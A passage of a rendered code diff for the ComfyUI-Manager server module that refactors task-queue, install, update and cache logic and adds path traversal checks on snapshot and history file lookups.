None, description="Network mode (online, offline, private)"
|
||||
)
|
||||
cli_args: Optional[Dict[str, Any]] = Field(
|
||||
None, description="Selected ComfyUI CLI arguments"
|
||||
)
|
||||
@@ -488,13 +479,13 @@ class QueueTaskItem(BaseModel):
|
||||
params: Union[
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
ModelMetadata,
|
||||
UpdateComfyUIParams,
|
||||
UpdateAllPacksParams,
|
||||
]
|
||||
|
||||
|
||||
|
||||
+7718
-922
File diff suppressed because it is too large
Load Diff
+7517
-5317
File diff suppressed because it is too large
Load Diff
+1824
-1485
File diff suppressed because it is too large
Load Diff
@@ -12,6 +12,7 @@ import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import shutil
|
||||
import subprocess # don't remove this
|
||||
import sys
|
||||
@@ -19,12 +20,14 @@ import threading
|
||||
import traceback
|
||||
import urllib.request
|
||||
import uuid
|
||||
import time
|
||||
import zipfile
|
||||
from datetime import datetime, timedelta
|
||||
from typing import Any, Optional
|
||||
|
||||
from comfyui_manager.common.timestamp_utils import get_timestamp_for_filename, get_now
|
||||
|
||||
import folder_paths
|
||||
import latent_preview
|
||||
import nodes
|
||||
from aiohttp import web
|
||||
from comfy.cli_args import args
|
||||
from pydantic import ValidationError
|
||||
@@ -33,6 +36,7 @@ from comfyui_manager.glob.utils import (
|
||||
formatting_utils,
|
||||
model_utils,
|
||||
security_utils,
|
||||
node_pack_utils,
|
||||
environment_utils,
|
||||
)
|
||||
|
||||
@@ -44,7 +48,6 @@ from ..common import manager_util
|
||||
from ..common import cm_global
|
||||
from ..common import manager_downloader
|
||||
from ..common import context
|
||||
from ..common import cnr_utils
|
||||
|
||||
|
||||
|
||||
@@ -59,6 +62,7 @@ from ..data_models import (
|
||||
ManagerMessageName,
|
||||
BatchExecutionRecord,
|
||||
ComfyUISystemState,
|
||||
ImportFailInfoBulkRequest,
|
||||
BatchOperation,
|
||||
InstalledNodeInfo,
|
||||
ComfyUIVersionInfo,
|
||||
@@ -126,16 +130,6 @@ def error_response(
|
||||
|
||||
|
||||
class ManagerFuncsInComfyUI(core.ManagerFuncs):
|
||||
def get_current_preview_method(self):
|
||||
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
|
||||
return "auto"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
|
||||
return "latent2rgb"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
|
||||
return "taesd"
|
||||
else:
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd="."):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -213,7 +207,7 @@ class TaskQueue:
|
||||
history=self.get_history(),
|
||||
running_queue=self.get_current_queue()[0],
|
||||
pending_queue=self.get_current_queue()[1],
|
||||
installed_packs=core.get_installed_nodepacks(),
|
||||
installed_packs=core.get_installed_node_packs(),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
@@ -264,9 +258,9 @@ class TaskQueue:
|
||||
def _start_new_batch(self) -> None:
|
||||
"""Start a new batch session for tracking operations."""
|
||||
self.batch_id = (
|
||||
f"batch_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{uuid.uuid4().hex[:8]}"
|
||||
f"batch_{get_timestamp_for_filename()}_{uuid.uuid4().hex[:8]}"
|
||||
)
|
||||
self.batch_start_time = datetime.now().isoformat()
|
||||
self.batch_start_time = get_now().isoformat()
|
||||
self.batch_state_before = self._capture_system_state()
|
||||
logging.debug("[ComfyUI-Manager] Started new batch: %s", self.batch_id)
|
||||
|
||||
@@ -297,7 +291,7 @@ class TaskQueue:
|
||||
MessageTaskStarted(
|
||||
ui_id=item.ui_id,
|
||||
kind=item.kind,
|
||||
timestamp=datetime.now(),
|
||||
timestamp=get_now(),
|
||||
state=self.get_current_state(),
|
||||
),
|
||||
client_id=item.client_id, # Send task started only to the client that requested it
|
||||
@@ -314,8 +308,7 @@ class TaskQueue:
|
||||
"""Mark task as completed and add to history"""
|
||||
|
||||
with self.mutex:
|
||||
now = datetime.now()
|
||||
timestamp = now.isoformat()
|
||||
now = get_now()
|
||||
|
||||
# Remove task from running_tasks using the task_index
|
||||
self.running_tasks.pop(task_index, None)
|
||||
@@ -362,7 +355,11 @@ class TaskQueue:
|
||||
item.kind,
|
||||
)
|
||||
# Force unified_manager to refresh its installed packages cache
|
||||
core.unified_manager.reload()
|
||||
await core.unified_manager.reload(
|
||||
ManagerDatabaseSource.cache.value,
|
||||
dont_wait=True,
|
||||
update_cnr_map=False,
|
||||
)
|
||||
except Exception as e:
|
||||
logging.warning(
|
||||
f"[ComfyUI-Manager] Failed to refresh cache after {item.kind}: {e}"
|
||||
@@ -376,7 +373,7 @@ class TaskQueue:
|
||||
result=result_msg,
|
||||
kind=item.kind,
|
||||
status=status,
|
||||
timestamp=datetime.fromisoformat(timestamp),
|
||||
timestamp=now,
|
||||
state=self.get_current_state(),
|
||||
),
|
||||
client_id=item.client_id, # Send completion only to the client that requested it
|
||||
@@ -487,7 +484,7 @@ class TaskQueue:
|
||||
)
|
||||
|
||||
try:
|
||||
end_time = datetime.now().isoformat()
|
||||
end_time = get_now().isoformat()
|
||||
state_after = self._capture_system_state()
|
||||
operations = self._extract_batch_operations()
|
||||
|
||||
@@ -555,7 +552,7 @@ class TaskQueue:
|
||||
"""Capture current ComfyUI system state for batch record."""
|
||||
logging.debug("[ComfyUI-Manager] Capturing system state for batch record")
|
||||
return ComfyUISystemState(
|
||||
snapshot_time=datetime.now().isoformat(),
|
||||
snapshot_time=get_now().isoformat(),
|
||||
comfyui_version=self._get_comfyui_version_info(),
|
||||
frontend_version=self._get_frontend_version(),
|
||||
python_version=platform.python_version(),
|
||||
@@ -612,7 +609,7 @@ class TaskQueue:
|
||||
installed_nodes = {}
|
||||
|
||||
try:
|
||||
node_packs = core.get_installed_nodepacks()
|
||||
node_packs = core.get_installed_node_packs()
|
||||
for pack_name, pack_info in node_packs.items():
|
||||
# Determine install method and repository URL
|
||||
install_method = "git" if pack_info.get("aux_id") else "cnr"
|
||||
@@ -671,12 +668,12 @@ class TaskQueue:
|
||||
level_str = config.get("security_level", "normal")
|
||||
# Map the string to SecurityLevel enum
|
||||
level_mapping = {
|
||||
"strong": SecurityLevel.STRONG,
|
||||
"normal": SecurityLevel.NORMAL,
|
||||
"normal-": SecurityLevel.NORMAL_,
|
||||
"weak": SecurityLevel.WEAK,
|
||||
"strong": SecurityLevel.strong,
|
||||
"normal": SecurityLevel.normal,
|
||||
"normal-": SecurityLevel.normal_,
|
||||
"weak": SecurityLevel.weak,
|
||||
}
|
||||
return level_mapping.get(level_str, SecurityLevel.NORMAL)
|
||||
return level_mapping.get(level_str, SecurityLevel.normal)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
@@ -709,7 +706,7 @@ class TaskQueue:
|
||||
def _get_custom_nodes_count(self) -> int:
|
||||
"""Get total number of custom node packages."""
|
||||
try:
|
||||
node_packs = core.get_installed_nodepacks()
|
||||
node_packs = core.get_installed_node_packs()
|
||||
return len(node_packs)
|
||||
except Exception:
|
||||
return 0
|
||||
@@ -780,8 +777,8 @@ class TaskQueue:
|
||||
to avoid disrupting normal operations.
|
||||
"""
|
||||
try:
|
||||
cutoff = datetime.now() - timedelta(days=16)
|
||||
cutoff_timestamp = cutoff.timestamp()
|
||||
# 16 days in seconds
|
||||
cutoff_timestamp = time.time() - (16 * 24 * 60 * 60)
|
||||
|
||||
pattern = os.path.join(context.manager_batch_history_path, "batch_*.json")
|
||||
removed_count = 0
|
||||
@@ -812,15 +809,13 @@ task_queue = TaskQueue()
|
||||
|
||||
async def task_worker():
|
||||
logging.debug("[ComfyUI-Manager] Task worker started")
|
||||
core.unified_manager.reload()
|
||||
await core.unified_manager.reload(ManagerDatabaseSource.cache.value)
|
||||
|
||||
async def do_install(params: InstallPackParams) -> str:
|
||||
if not security_utils.is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return OperationResult.failed.value
|
||||
|
||||
# Note: For install, we use the original case as resolve_node_spec handles lookup
|
||||
# Normalization is applied for uninstall, enable, disable operations
|
||||
node_id = params.id
|
||||
node_version = params.selected_version
|
||||
channel = params.channel
|
||||
@@ -876,75 +871,7 @@ async def task_worker():
|
||||
async def do_enable(params: EnablePackParams) -> str:
|
||||
cnr_id = params.cnr_id
|
||||
logging.debug("[ComfyUI-Manager] Enabling node: cnr_id=%s", cnr_id)
|
||||
|
||||
# Parse node spec if it contains version/hash (e.g., "NodeName@hash")
|
||||
node_name = cnr_id
|
||||
version_spec = None
|
||||
git_hash = None
|
||||
|
||||
if '@' in cnr_id:
|
||||
node_spec = core.unified_manager.resolve_node_spec(cnr_id)
|
||||
if node_spec is not None:
|
||||
parsed_node_name, parsed_version_spec, is_specified = node_spec
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Parsed node spec: name=%s, version=%s",
|
||||
parsed_node_name,
|
||||
parsed_version_spec
|
||||
)
|
||||
node_name = parsed_node_name
|
||||
version_spec = parsed_version_spec
|
||||
# If version_spec looks like a git hash (40 hex chars), save it for checkout
|
||||
if parsed_version_spec and len(parsed_version_spec) == 40 and all(c in '0123456789abcdef' for c in parsed_version_spec.lower()):
|
||||
git_hash = parsed_version_spec
|
||||
logging.debug("[ComfyUI-Manager] Detected git hash for checkout: %s", git_hash)
|
||||
else:
|
||||
# If parsing fails, try splitting manually
|
||||
parts = cnr_id.split('@')
|
||||
node_name = parts[0]
|
||||
if len(parts) > 1:
|
||||
version_spec = parts[1]
|
||||
if len(parts[1]) == 40:
|
||||
git_hash = parts[1]
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Manual split result: name=%s, version=%s, hash=%s",
|
||||
node_name,
|
||||
version_spec,
|
||||
git_hash
|
||||
)
|
||||
|
||||
# Normalize node_name for case-insensitive matching
|
||||
node_name = cnr_utils.normalize_package_name(node_name)
|
||||
|
||||
# Enable the nodepack with version_spec
|
||||
res = core.unified_manager.unified_enable(node_name, version_spec)
|
||||
|
||||
if not res or not res.result:
|
||||
return f"Failed to enable: '{cnr_id}'"
|
||||
|
||||
# If git hash is specified and enable succeeded, checkout the specific commit
|
||||
if git_hash and res.target_path:
|
||||
try:
|
||||
from . import manager_core
|
||||
checkout_success = manager_core.checkout_git_commit(res.target_path, git_hash)
|
||||
if checkout_success:
|
||||
logging.info(
|
||||
"[ComfyUI-Manager] Successfully checked out commit %s for %s",
|
||||
git_hash[:8],
|
||||
node_name
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
"[ComfyUI-Manager] Enable succeeded but failed to checkout commit %s for %s",
|
||||
git_hash[:8],
|
||||
node_name
|
||||
)
|
||||
except Exception as e:
|
||||
logging.error(
|
||||
"[ComfyUI-Manager] Enable succeeded but error during git checkout: %s",
|
||||
e
|
||||
)
|
||||
traceback.print_exc()
|
||||
|
||||
core.unified_manager.unified_enable(cnr_id)
|
||||
return OperationResult.success.value
|
||||
|
||||
async def do_update(params: UpdatePackParams) -> dict[str, str]:
|
||||
@@ -958,38 +885,15 @@ async def task_worker():
|
||||
try:
|
||||
res = core.unified_manager.unified_update(node_name, node_ver)
|
||||
|
||||
# Get active package using modern unified manager
|
||||
active_pack = core.unified_manager.get_active_pack(node_name)
|
||||
|
||||
if active_pack is None:
|
||||
# Fallback if package not found
|
||||
url = None
|
||||
title = node_name
|
||||
elif res.ver == "unknown":
|
||||
# For unknown packages, use repo_url if available
|
||||
url = active_pack.repo_url
|
||||
if res.ver == "unknown":
|
||||
url = core.unified_manager.unknown_active_nodes[node_name][0]
|
||||
try:
|
||||
title = os.path.basename(url) if url else node_name
|
||||
title = os.path.basename(url)
|
||||
except Exception:
|
||||
title = node_name
|
||||
else:
|
||||
# For CNR packages, get info from CNR registry
|
||||
try:
|
||||
from ..common import cnr_utils
|
||||
compact_url = core.git_utils.compact_url(active_pack.repo_url) if active_pack.repo_url else None
|
||||
cnr_info = cnr_utils.get_nodepack_by_url(compact_url) if compact_url else None
|
||||
|
||||
if cnr_info:
|
||||
url = cnr_info.get("repository")
|
||||
title = cnr_info.get("name", node_name)
|
||||
else:
|
||||
# Fallback for CNR packages without registry info
|
||||
url = active_pack.repo_url
|
||||
title = node_name
|
||||
except Exception:
|
||||
# Fallback if CNR lookup fails
|
||||
url = active_pack.repo_url
|
||||
title = node_name
|
||||
url = core.unified_manager.cnr_map[node_name].get("repository")
|
||||
title = core.unified_manager.cnr_map[node_name]["name"]
|
||||
|
||||
manager_util.clear_pip_cache()
|
||||
|
||||
@@ -1044,6 +948,8 @@ async def task_worker():
|
||||
logging.error("ComfyUI update failed")
|
||||
return "fail"
|
||||
elif res == "updated":
|
||||
core.install_manager_requirements(repo_path)
|
||||
|
||||
if is_stable:
|
||||
logging.info("ComfyUI is updated to latest stable version.")
|
||||
return "success-stable-" + latest_tag
|
||||
@@ -1088,13 +994,17 @@ async def task_worker():
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return OperationResult.failed.value
|
||||
|
||||
# Normalize node_name for case-insensitive matching
|
||||
node_name = cnr_utils.normalize_package_name(params.node_name)
|
||||
node_name = params.node_name
|
||||
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
|
||||
|
||||
logging.debug("[ComfyUI-Manager] Uninstalling node: name=%s", node_name)
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Uninstalling node: name=%s, is_unknown=%s",
|
||||
node_name,
|
||||
is_unknown,
|
||||
)
|
||||
|
||||
try:
|
||||
res = core.unified_manager.unified_uninstall(node_name)
|
||||
res = core.unified_manager.unified_uninstall(node_name, is_unknown)
|
||||
|
||||
if res.result:
|
||||
return OperationResult.success.value
|
||||
@@ -1109,34 +1019,16 @@ async def task_worker():
|
||||
|
||||
async def do_disable(params: DisablePackParams) -> str:
|
||||
node_name = params.node_name
|
||||
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
|
||||
|
||||
logging.debug("[ComfyUI-Manager] Disabling node: name=%s", node_name)
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Disabling node: name=%s, is_unknown=%s",
|
||||
node_name,
|
||||
is_unknown,
|
||||
)
|
||||
|
||||
try:
|
||||
# Parse node spec if it contains version/hash (e.g., "NodeName@hash")
|
||||
# Extract just the node name for disable operation
|
||||
if '@' in node_name:
|
||||
node_spec = core.unified_manager.resolve_node_spec(node_name)
|
||||
if node_spec is not None:
|
||||
parsed_node_name, version_spec, is_specified = node_spec
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Parsed node spec: name=%s, version=%s",
|
||||
parsed_node_name,
|
||||
version_spec
|
||||
)
|
||||
node_name = parsed_node_name
|
||||
else:
|
||||
# If parsing fails, try splitting manually
|
||||
node_name = node_name.split('@')[0]
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Manual split result: name=%s",
|
||||
node_name
|
||||
)
|
||||
|
||||
# Normalize node_name for case-insensitive matching
|
||||
node_name = cnr_utils.normalize_package_name(node_name)
|
||||
|
||||
res = core.unified_manager.unified_disable(node_name)
|
||||
res = core.unified_manager.unified_disable(node_name, is_unknown)
|
||||
|
||||
if res:
|
||||
return OperationResult.success.value
|
||||
@@ -1246,9 +1138,6 @@ async def task_worker():
|
||||
item, task_index = task
|
||||
kind = item.kind
|
||||
|
||||
# Reload installed packages before each task to ensure we have the latest state
|
||||
core.unified_manager.reload()
|
||||
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Processing task: kind=%s, ui_id=%s, client_id=%s, task_index=%d",
|
||||
kind,
|
||||
@@ -1406,11 +1295,17 @@ async def get_history(request):
|
||||
try:
|
||||
# Handle file-based batch history
|
||||
if "id" in request.rel_url.query:
|
||||
json_name = request.rel_url.query["id"] + ".json"
|
||||
batch_path = os.path.join(context.manager_batch_history_path, json_name)
|
||||
history_id = request.rel_url.query["id"]
|
||||
|
||||
# Prevent path traversal attacks
|
||||
batch_path = security_utils.get_safe_file_path(history_id, context.manager_batch_history_path)
|
||||
if batch_path is None:
|
||||
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
|
||||
return web.Response(text="Invalid history id", status=400)
|
||||
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Fetching batch history: id=%s",
|
||||
request.rel_url.query["id"],
|
||||
history_id,
|
||||
)
|
||||
|
||||
with open(batch_path, "r", encoding="utf-8") as file:
|
||||
@@ -1451,16 +1346,7 @@ async def get_history(request):
|
||||
}
|
||||
history = filtered_history
|
||||
|
||||
# Convert TaskHistoryItem models to JSON-serializable dicts
|
||||
if isinstance(history, dict):
|
||||
history_json = {
|
||||
task_id: task_data.model_dump(mode="json") if hasattr(task_data, "model_dump") else task_data
|
||||
for task_id, task_data in history.items()
|
||||
}
|
||||
else:
|
||||
history_json = history.model_dump(mode="json") if hasattr(history, "model_dump") else history
|
||||
|
||||
return web.json_response({"history": history_json}, content_type="application/json")
|
||||
return web.json_response({"history": history}, content_type="application/json")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"[ComfyUI-Manager] /v2/manager/queue/history - {e}")
|
||||
@@ -1468,6 +1354,42 @@ async def get_history(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/customnode/getmappings")
|
||||
async def fetch_customnode_mappings(request):
|
||||
"""
|
||||
provide unified (node -> node pack) mapping list
|
||||
"""
|
||||
mode = request.rel_url.query["mode"]
|
||||
|
||||
nickname_mode = False
|
||||
if mode == "nickname":
|
||||
mode = "local"
|
||||
nickname_mode = True
|
||||
|
||||
json_obj = await core.get_data_by_mode(mode, "extension-node-map.json")
|
||||
json_obj = core.map_to_unified_keys(json_obj)
|
||||
|
||||
if nickname_mode:
|
||||
json_obj = node_pack_utils.nickname_filter(json_obj)
|
||||
|
||||
all_nodes = set()
|
||||
patterns = []
|
||||
for k, x in json_obj.items():
|
||||
all_nodes.update(set(x[0]))
|
||||
|
||||
if "nodename_pattern" in x[1]:
|
||||
patterns.append((x[1]["nodename_pattern"], x[0]))
|
||||
|
||||
missing_nodes = set(nodes.NODE_CLASS_MAPPINGS.keys()) - all_nodes
|
||||
|
||||
for x in missing_nodes:
|
||||
for pat, item in patterns:
|
||||
if re.match(pat, x):
|
||||
item.append(x)
|
||||
|
||||
return web.json_response(json_obj, content_type="application/json")
|
||||
|
||||
|
||||
@routes.get("/v2/customnode/fetch_updates")
|
||||
async def fetch_updates(request):
|
||||
"""
|
||||
@@ -1515,22 +1437,44 @@ async def _update_all(params: UpdateAllQueryParams) -> web.Response:
|
||||
mode,
|
||||
)
|
||||
|
||||
if mode == ManagerDatabaseSource.local.value:
|
||||
channel = "local"
|
||||
else:
|
||||
channel = core.get_config()["channel_url"]
|
||||
|
||||
await core.unified_manager.reload(mode)
|
||||
await core.unified_manager.get_custom_nodes(channel, mode)
|
||||
|
||||
update_count = 0
|
||||
# Iterate through all installed packages using modern unified manager
|
||||
for packname, package_list in core.unified_manager.installed_node_packages.items():
|
||||
# Find enabled packages for this packname
|
||||
for package in package_list:
|
||||
if package.is_enabled:
|
||||
update_task = QueueTaskItem(
|
||||
kind=OperationType.update.value,
|
||||
ui_id=f"{base_ui_id}_{packname}", # Use client's base ui_id + node name
|
||||
client_id=client_id,
|
||||
params=UpdatePackParams(node_name=packname, node_ver=package.version),
|
||||
)
|
||||
task_queue.put(update_task)
|
||||
update_count += 1
|
||||
# Only create one update task per packname (first enabled package)
|
||||
break
|
||||
for k, v in core.unified_manager.active_nodes.items():
|
||||
if k == "comfyui-manager":
|
||||
# skip updating comfyui-manager if desktop version
|
||||
if os.environ.get("__COMFYUI_DESKTOP_VERSION__"):
|
||||
continue
|
||||
|
||||
update_task = QueueTaskItem(
|
||||
kind=OperationType.update.value,
|
||||
ui_id=f"{base_ui_id}_{k}", # Use client's base ui_id + node name
|
||||
client_id=client_id,
|
||||
params=UpdatePackParams(node_name=k, node_ver=v[0]),
|
||||
)
|
||||
task_queue.put(update_task)
|
||||
update_count += 1
|
||||
|
||||
for k, v in core.unified_manager.unknown_active_nodes.items():
|
||||
if k == "comfyui-manager":
|
||||
# skip updating comfyui-manager if desktop version
|
||||
if os.environ.get("__COMFYUI_DESKTOP_VERSION__"):
|
||||
continue
|
||||
|
||||
update_task = QueueTaskItem(
|
||||
kind=OperationType.update.value,
|
||||
ui_id=f"{base_ui_id}_{k}", # Use client's base ui_id + node name
|
||||
client_id=client_id,
|
||||
params=UpdatePackParams(node_name=k, node_ver="unknown"),
|
||||
)
|
||||
task_queue.put(update_task)
|
||||
update_count += 1
|
||||
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Update all queued %d tasks for client_id=%s",
|
||||
@@ -1550,7 +1494,7 @@ async def is_legacy_manager_ui(request):
|
||||
|
||||
|
||||
# freeze imported version
|
||||
startup_time_installed_node_packs = core.get_installed_nodepacks()
|
||||
startup_time_installed_node_packs = core.get_installed_node_packs()
|
||||
|
||||
|
||||
@routes.get("/v2/customnode/installed")
|
||||
@@ -1560,7 +1504,7 @@ async def installed_list(request):
|
||||
if mode == "imported":
|
||||
res = startup_time_installed_node_packs
|
||||
else:
|
||||
res = core.get_installed_nodepacks()
|
||||
res = core.get_installed_node_packs()
|
||||
|
||||
return web.json_response(res, content_type="application/json")
|
||||
|
||||
@@ -1583,7 +1527,11 @@ async def remove_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
if os.path.exists(path):
|
||||
os.remove(path)
|
||||
|
||||
@@ -1601,7 +1549,11 @@ async def restore_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
if os.path.exists(path):
|
||||
if not os.path.exists(context.manager_startup_script_path):
|
||||
os.makedirs(context.manager_startup_script_path)
|
||||
@@ -1706,53 +1658,58 @@ async def import_fail_info(request):
|
||||
async def import_fail_info_bulk(request):
|
||||
try:
|
||||
json_data = await request.json()
|
||||
|
||||
# Basic validation - ensure we have either cnr_ids or urls
|
||||
if not isinstance(json_data, dict):
|
||||
return web.Response(status=400, text="Request body must be a JSON object")
|
||||
|
||||
if "cnr_ids" not in json_data and "urls" not in json_data:
|
||||
|
||||
# Validate input using Pydantic model
|
||||
request_data = ImportFailInfoBulkRequest.model_validate(json_data)
|
||||
|
||||
# Ensure we have either cnr_ids or urls
|
||||
if not request_data.cnr_ids and not request_data.urls:
|
||||
return web.Response(
|
||||
status=400, text="Either 'cnr_ids' or 'urls' field is required"
|
||||
)
|
||||
|
||||
await core.unified_manager.reload('cache')
|
||||
await core.unified_manager.get_custom_nodes('default', 'cache')
|
||||
|
||||
results = {}
|
||||
|
||||
if "cnr_ids" in json_data:
|
||||
if not isinstance(json_data["cnr_ids"], list):
|
||||
return web.Response(status=400, text="'cnr_ids' must be an array")
|
||||
for cnr_id in json_data["cnr_ids"]:
|
||||
if not isinstance(cnr_id, str):
|
||||
results[cnr_id] = {"error": "cnr_id must be a string"}
|
||||
continue
|
||||
if request_data.cnr_ids:
|
||||
for cnr_id in request_data.cnr_ids:
|
||||
module_name = core.unified_manager.get_module_name(cnr_id)
|
||||
if module_name is not None:
|
||||
info = cm_global.error_dict.get(module_name)
|
||||
if info is not None:
|
||||
results[cnr_id] = info
|
||||
# Convert error_dict format to API spec format
|
||||
results[cnr_id] = {
|
||||
'error': info.get('msg', ''),
|
||||
'traceback': info.get('traceback', '')
|
||||
}
|
||||
else:
|
||||
results[cnr_id] = None
|
||||
else:
|
||||
results[cnr_id] = None
|
||||
|
||||
if "urls" in json_data:
|
||||
if not isinstance(json_data["urls"], list):
|
||||
return web.Response(status=400, text="'urls' must be an array")
|
||||
for url in json_data["urls"]:
|
||||
if not isinstance(url, str):
|
||||
results[url] = {"error": "url must be a string"}
|
||||
continue
|
||||
if request_data.urls:
|
||||
for url in request_data.urls:
|
||||
module_name = core.unified_manager.get_module_name(url)
|
||||
if module_name is not None:
|
||||
info = cm_global.error_dict.get(module_name)
|
||||
if info is not None:
|
||||
results[url] = info
|
||||
# Convert error_dict format to API spec format
|
||||
results[url] = {
|
||||
'error': info.get('msg', ''),
|
||||
'traceback': info.get('traceback', '')
|
||||
}
|
||||
else:
|
||||
results[url] = None
|
||||
else:
|
||||
results[url] = None
|
||||
|
||||
return web.json_response(results)
|
||||
# Return results directly as JSON
|
||||
return web.json_response(results, content_type="application/json")
|
||||
except ValidationError as e:
|
||||
logging.error(f"[ComfyUI-Manager] Invalid request data: {e}")
|
||||
return web.Response(status=400, text=f"Invalid request data: {e}")
|
||||
except Exception as e:
|
||||
logging.error(f"[ComfyUI-Manager] Error processing bulk import fail info: {e}")
|
||||
return web.Response(status=500, text="Internal server error")
|
||||
@@ -2034,6 +1991,88 @@ async def get_version(request):
|
||||
return web.Response(text=core.version_str, status=200)
|
||||
|
||||
|
||||
async def _confirm_try_install(sender, custom_node_url, msg):
|
||||
json_obj = await core.get_data_by_mode("default", "custom-node-list.json")
|
||||
|
||||
sender = manager_util.sanitize_tag(sender)
|
||||
msg = manager_util.sanitize_tag(msg)
|
||||
target = core.lookup_customnode_by_url(json_obj, custom_node_url)
|
||||
|
||||
if target is not None:
|
||||
PromptServer.instance.send_sync(
|
||||
"cm-api-try-install-customnode",
|
||||
{"sender": sender, "target": target, "msg": msg},
|
||||
)
|
||||
else:
|
||||
logging.error(
|
||||
f"[ComfyUI Manager API] Failed to try install - Unknown custom node url '{custom_node_url}'"
|
||||
)
|
||||
|
||||
|
||||
def confirm_try_install(sender, custom_node_url, msg):
|
||||
asyncio.run(_confirm_try_install(sender, custom_node_url, msg))
|
||||
|
||||
|
||||
cm_global.register_api("cm.try-install-custom-node", confirm_try_install)
|
||||
|
||||
|
||||
async def default_cache_update():
|
||||
core.refresh_channel_dict()
|
||||
channel_url = core.get_config()["channel_url"]
|
||||
|
||||
async def get_cache(filename):
|
||||
try:
|
||||
if core.get_config()["default_cache_as_channel_url"]:
|
||||
uri = f"{channel_url}/{filename}"
|
||||
else:
|
||||
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
|
||||
|
||||
cache_uri = str(manager_util.simple_hash(uri)) + "_" + filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
json_obj = await manager_util.get_data(uri, True)
|
||||
|
||||
with manager_util.cache_lock:
|
||||
with open(cache_uri, "w", encoding="utf-8") as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
logging.debug(f"[ComfyUI-Manager] default cache updated: {uri}")
|
||||
except Exception as e:
|
||||
logging.error(
|
||||
f"[ComfyUI-Manager] Failed to perform initial fetching '{filename}': {e}"
|
||||
)
|
||||
traceback.print_exc()
|
||||
|
||||
if core.get_config()["network_mode"] != "offline":
|
||||
a = get_cache("custom-node-list.json")
|
||||
b = get_cache("extension-node-map.json")
|
||||
c = get_cache("model-list.json")
|
||||
d = get_cache("alter-list.json")
|
||||
e = get_cache("github-stats.json")
|
||||
|
||||
await asyncio.gather(a, b, c, d, e)
|
||||
|
||||
if core.get_config()["network_mode"] == "private":
|
||||
logging.info(
|
||||
"[ComfyUI-Manager] The private comfyregistry is not yet supported in `network_mode=private`."
|
||||
)
|
||||
else:
|
||||
# load at least once
|
||||
await core.unified_manager.reload(
|
||||
ManagerDatabaseSource.remote.value, dont_wait=False
|
||||
)
|
||||
await core.unified_manager.get_custom_nodes(
|
||||
channel_url, ManagerDatabaseSource.remote.value
|
||||
)
|
||||
else:
|
||||
await core.unified_manager.reload(
|
||||
ManagerDatabaseSource.remote.value, dont_wait=False, update_cnr_map=False
|
||||
)
|
||||
|
||||
logging.info("[ComfyUI-Manager] All startup tasks have been completed.")
|
||||
|
||||
|
||||
threading.Thread(target=lambda: asyncio.run(default_cache_update())).start()
|
||||
|
||||
if not os.path.exists(context.manager_config_path):
|
||||
core.get_config()
|
||||
core.write_config()
|
||||
|
||||
@@ -5,8 +5,6 @@ import traceback
|
||||
|
||||
from comfyui_manager.common import context
|
||||
import folder_paths
|
||||
from comfy.cli_args import args
|
||||
import latent_preview
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfyui_manager.common import cm_global
|
||||
@@ -93,19 +91,6 @@ def print_comfyui_version():
|
||||
)
|
||||
|
||||
|
||||
def set_preview_method(method):
|
||||
if method == "auto":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Auto
|
||||
elif method == "latent2rgb":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
|
||||
elif method == "taesd":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
|
||||
else:
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
|
||||
|
||||
core.get_config()["preview_method"] = method
|
||||
|
||||
|
||||
def set_update_policy(mode):
|
||||
core.get_config()["update_policy"] = mode
|
||||
|
||||
